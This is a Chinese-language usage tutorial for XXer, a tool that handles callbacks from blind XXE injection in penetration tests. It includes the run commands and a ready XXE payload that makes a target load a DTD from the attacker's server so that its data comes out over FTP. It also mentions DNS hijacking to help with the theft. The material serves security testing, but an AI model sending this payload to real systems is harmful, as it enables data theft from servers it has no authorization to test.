XXE盲注利用工具XXer使用教程

XXE盲注利用工具XXer使用教程

xxer A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab. 项目地址: https://gitcode.com/gh_mirrors/xx/xxer

1. 项目介绍

XXer是一个盲XXE（XML外部实体扩展攻击）注射回调处理器。它通过HTTP和FTP协议来提取信息。该项目最初由ONsec-Lab用Ruby编写，此处为Python语言重写版本。XXer不负责寻找XXE注入点，而是在找到攻击面后，帮助获取有用的信息。对于寻找注入点，建议使用包含DNS回调服务的工具，如Burp Collaborator。

2. 项目快速启动

首先，确保您的环境中已安装Python。然后克隆项目仓库并运行：

git clone https://github.com/TheTwitchy/xxer.git
cd xxer
python xxer.py -H 你的服务器地址

程序将启动HTTP和FTP服务器，并显示用于XXE攻击的载荷。

3. 应用案例和最佳实践

启动XXer

在Kali Linux上启动XXer：

root@kali:~$ python xxer.py -H kali.host.com

程序输出如下，表明HTTP和FTP服务器已启动，并给出了用于XXE攻击的载荷：

info: Starting xxer_httpd on port 8080
info: Starting xxer_ftpd on port 2121
info: Servers started. Use the following payload (with URL-encoding):
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://kali.host.com:8080/ext.dtd">%aaa;%ccc;%ddd;]>

构造载荷并发送

将上述输出的载荷进行URL编码，然后发送到目标服务器的XXE注入点。

获取数据

XXer将通过FTP协议接收到数据。确保你的FTP服务器配置正确，可以接收数据。

4. 典型生态项目

由于XXer专注于XXE攻击的利用阶段，因此在实际的渗透测试中，通常会结合其他工具一起使用。以下是一些可以与之配合的工具：

• Burp Suite: 用于发现XXE漏洞。
• OWASP ZAP: 另一个Web应用安全扫描工具，也可以发现XXE漏洞。
• DNSMasq: 可用于DNS劫持，配合XXer进行数据窃取。

确保在使用上述工具时，遵循合法合规的原则，仅在授权的环境中进行操作。

xxer A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab. 项目地址: https://gitcode.com/gh_mirrors/xx/xxer